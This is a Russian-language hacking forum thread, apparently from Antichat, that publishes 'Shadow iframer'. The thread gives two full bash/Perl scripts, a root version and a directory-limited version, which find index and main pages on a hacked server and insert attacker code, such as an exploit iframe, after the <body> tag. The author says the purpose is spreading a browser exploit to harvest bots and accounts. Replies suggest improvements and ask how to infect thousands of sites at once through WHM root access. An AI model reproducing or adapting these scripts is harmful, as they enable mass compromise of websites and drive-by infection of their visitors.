Shadow iframer [local] | [local][n0b0dy] version Shadow iframer[local] [r00t] & [n0b0dy] versions [ I Что? ] Shadow iframer (нормального названия не смог придумать =\) - небольшой ифреймер, написанный мной сегодня ночью Как известно, ифреймер - небольшая программа (а какие лоси пытались продать нечто подобное за 25$ ) для вставки своего кода в php/html файлы. Смысл в этом такой: Например, вам слили очередной превад сплойт из превада ачата. Сплойтенг берет все ослы, до седьмого включительно. Ясное дело, что его необходимо заюзать и поиметь энное кол-во ботов\асек\3.14зженный вебмань А у вас под рукой как раз есть небольшой хостинг, который вы недавно порутали. на нем есть несколько К хтмл страниц, вставлять код в каждую ручками очень накладно. Этим и занимаюсться ифреймеры. Они автоматически вставляют некоторый код в html\php паги. Обычно это делается удаленно (например по фтп) или локально. Эта версия - локальная. [ II Как? ] Для начала расскажу немного об устройстве этого скрипта. Скрипт написан на баше с перловыми вставками. Т.к. подразумевается что трояниться будут все страницы, то скрипт соответственно требует рута. Конечно, переписать его под нобади\нерута и конкретную диру можно (но нужно ли?)). По размеру скрипт достаточно маленький Использовать его очень просто. Нужно только запустить с один параметром - файлом с ифрейм кодом (естественно, код может быть любым)). Далее скрипт найдет все index файлы и вставит в них ваш код. Добавление идет в начало body скрипта. Вот лог запуска: Code: # ./iframe.sh [*]Searching for perl.../usr/bin/perl [*]Starting index finder...please wait...search complete. Found X pages [*]Generating iframer...complete.Starting iframer [*] Injecting complete, deleting temp files... [*] Finished [ III Sources&outro ] Собственно сорец: [r00t] version Code: #!/bin/bash if [ $UID != 0 ]; then echo "[x]Need r00t :("; exit 1; fi check=`expr length "$1"` if [ $check == 0 ]; then echo "########################################" echo "#Shadow iframer[local] (c)ode by Gh0s7#" echo "########################################" echo "#usage: ./sh-iframe.sh [iframe file] #" echo "# ./sh-iframe.sh exploit.html #" echo "########################################" exit 1 fi echo -n "[*]Searching for perl..."; which perl if [ $? != 0 ]; then echo "[x]No perl?"; exit fi echo -n "[*]Starting index finder...please wait..." find / -name "index.html*" 2> /dev/null > /tmp/found find / -name "index.php*" 2> /dev/null >> /tmp/found find / -name "index.shtml" 2> /dev/null >> /tmp/found find / -name "index.phtml" 2> /dev/null >> /tmp/found find / -name "main.html*" 2> /dev/null > /tmp/found find / -name "main.php*" 2> /dev/null >> /tmp/found find / -name "default.php*" 2> /dev/null >> /tmp/found find / -name "main.shtml" 2> /dev/null >> /tmp/found len=`cat /tmp/found| wc -l` echo "search complete. Found $len pages" echo -n "[*]Generating iframer..." iframer='\n while (<INPUT>) { chomp; $file = $_; @res = split (/\//); $len = 0; foreach (@res) { $len++; } open (FILE, "<$_") or die; open (TMP, ">/tmp/$res[$len-1]") or die; open (INJECT, "<$inject") or die; sysread (INJECT, $code, 1024); close (INJECT); while (<FILE>) { print TMP $_; if (/<body>/) { print TMP $code; } } close (TMP); close (FILE); system ("./rm /tmp/$res[$len-1].bak 2>/dev/null"); system ("./mv $file /tmp/$res[$len-1].bak"); system ("./mv /tmp/$res[$len-1] $file"); }' echo -ne "#!/usr/bin/perl -w\nopen (INPUT, \"</tmp/found\");\n\$inject=\"$1\";\n" > iframer.pl echo -ne "$iframer" >> iframer.pl echo 'mv $@' > ./mv; chmod +x ./mv echo 'rm $@' > ./rm; chmod +x ./rm echo "complete.Starting iframer" perl iframer.pl echo "[*] Injecting complete, deleting temp files..." rm mv rm rm /tmp/index* echo "[*] Finished" exit 0 [n0b0dy] version Code: #!/bin/bash usage () { echo "########################################################" echo "#Shadow iframer[local][n0b0dy version] (c)ode by Gh0s7#" echo "########################################################" echo "#usage: ./sh-iframe.sh [iframe file] [path] #" echo "# ./sh-iframe.sh exploit.html /var/www/31337.su #" echo "########################################################" exit 1 } check=`expr length "$1"` if [ $check == 0 ]; then usage fi check=`expr length "$2"` if [ $check == 0 ]; then usage fi if [ ! -d $2 ]; then echo "[x] $2 directory doesnt exists"; exit 1 fi echo -n "[*]Searching for perl..."; which perl if [ $? != 0 ]; then echo "[x]No perl?"; exit fi echo -n "[*]Starting index finder...please wait..." find $2 -name "index.html*" 2> /dev/null > /tmp/found find $2 -name "index.php*" 2> /dev/null >> /tmp/found find $2 -name "index.shtml" 2> /dev/null >> /tmp/found find $2 -name "index.phtml" 2> /dev/null >> /tmp/found find $2 -name "main.html*" 2> /dev/null > /tmp/found find $2 -name "main.php*" 2> /dev/null >> /tmp/found find $2 -name "default.php*" 2> /dev/null >> /tmp/found find $2 -name "main.shtml" 2> /dev/null >> /tmp/found len=`cat /tmp/found| wc -l` echo "search complete. Found $len pages" echo -n "[*]Generating iframer..." iframer='\n while (<INPUT>) { chomp; $file = $_; @res = split (/\//); $len = 0; foreach (@res) { $len++; } open (FILE, "<$_") or next; open (TMP, ">/tmp/$res[$len-1]") or next; open (INJECT, "<$inject") or die; sysread (INJECT, $code, 1024); close (INJECT); while (<FILE>) { print TMP $_; if (/<body>/) { print TMP $code; } } close (TMP); close (FILE); system ("./rm /tmp/$res[$len-1].bak 2>/dev/null"); system ("./mv $file /tmp/$res[$len-1].bak"); system ("./mv /tmp/$res[$len-1] $file"); }' echo -ne "#!/usr/bin/perl -w\nopen (INPUT, \"</tmp/found\");\n\$inject=\"$1\";\n" > iframer.pl echo -ne "$iframer" >> iframer.pl echo 'mv $@' > /tmp/mv; chmod +x /tmp/mv echo 'rm $@' > /tmp/rm; chmod +x /tmp/rm echo "complete.Starting iframer" perl iframer.pl echo "[*] Injecting complete, deleting temp files..." rm /tmp/mv /tmp/rm rm /tmp/index* echo "[*] Finished" exit 0 В ближайшее время будет закончен фтп ифреймер. В заключение попрошу каментить и оценивать (как обычно) P.S. Я не утверждаю что это мега-релиз, так что кричать что "мало" и т.д. не надо. P.P.S. Читаем и отписываемся: https://forum.antichat.ru/thread30461.html UPD 1: Добавил версию для "кастрированных" аков.
Я буду первым ) 1) Плюс тебе за старания и написание статейки... 2) Согласен, не ново, вообщих чертах ты рассказал отлично, разложил все по-полочкам, но некоторым интересны тонкости...
Будет удобнее если в скипт добавить: Code: find / -name "main.html*" 2> /dev/null > /tmp/found find / -name "main.php*" 2> /dev/null >> /tmp/found find / -name "default.php*" 2> /dev/null >> /tmp/found find / -name "main.shtml" 2> /dev/null >> /tmp/found
Ну в принципе для основы неплохо =) но допустим у нас не рут =) у нас есть путь к папке юзера /home/user13/www/ содержимое папки /home/ мы просматривать можем, а вот уже на /user13/ Прав не хватает (в тоже время на /www/ все очень даже есть) .. ? ничего он не зафрэймит.. сталкивался много раз ) .. но твой явно основан на имении рута на тачке
Да, неплохо бы сделать чтоб можно было указывать с какой папки начинать искать файлы index.php и т.д Хотя если Gh0s7 не возьмется, то могу я доделать...
blackybr, я эту фигню не догонял.Однажды поспорил с Dim-ok (ГГ привет те).Потом понял, что ошибся.Кстати респект ему Gh0s7 те конечто же тоже.Совет: читай названия дир с /etc/passwd
Статья интересная, + это однозначно! ! ! но есть одно но. Все происходит под правами root их не каждый может имееть!
я бы убрал эту фразу, так как сравнивать то, что продается за 25 баксов и это, это жопу с пальцем сравнивать. А если у тебя не хостинг, а Н фтп, ты на каждый заливать будешь и запускать? То, что делает скрипт можно и руками сделать. Хостинги ломаные бывают не так часто, как бывают просто фтп etc. P.S. Не воспринимай как оскарбление. Все равно + за старание.
Как оскАрбление не воспринял А "если у меня не хостинг, а Н фтп", то для этого пишется отдельный фтп ифреймер, ака remote. А то что продается за 25 по сути имеет тот же функционал. Всеравно любой ифреймер - максимум 200 строк кода с каментами и рюшечками. "То, что делает скрипт можно и руками сделать", пожалуйста, тебе никто не запрещает пару к файлов вимом руками править)
Уважаемые форумчане, боюсь показаться дебилом, но никогда не имел дело с подобными штуками. Я установил active perl, сохранил файл как .pl, а когда запускаю, на секунду появляется консоль и сразу пропадает. Не имею представления что нужно сделать, а скрипт ой как нужен. Помогите пожалуйста. Спасибо.
Ну вот есть рутовый доступ к нескольким серверам через whm. Как же мне использовать скрипт что б разом прописать ифреймы на несколько тысяч сайтов?
Заливай скрипт (как ты будешь это делать с цпанелем - хз), врубай его с указанием файлика с твоим кодом и все.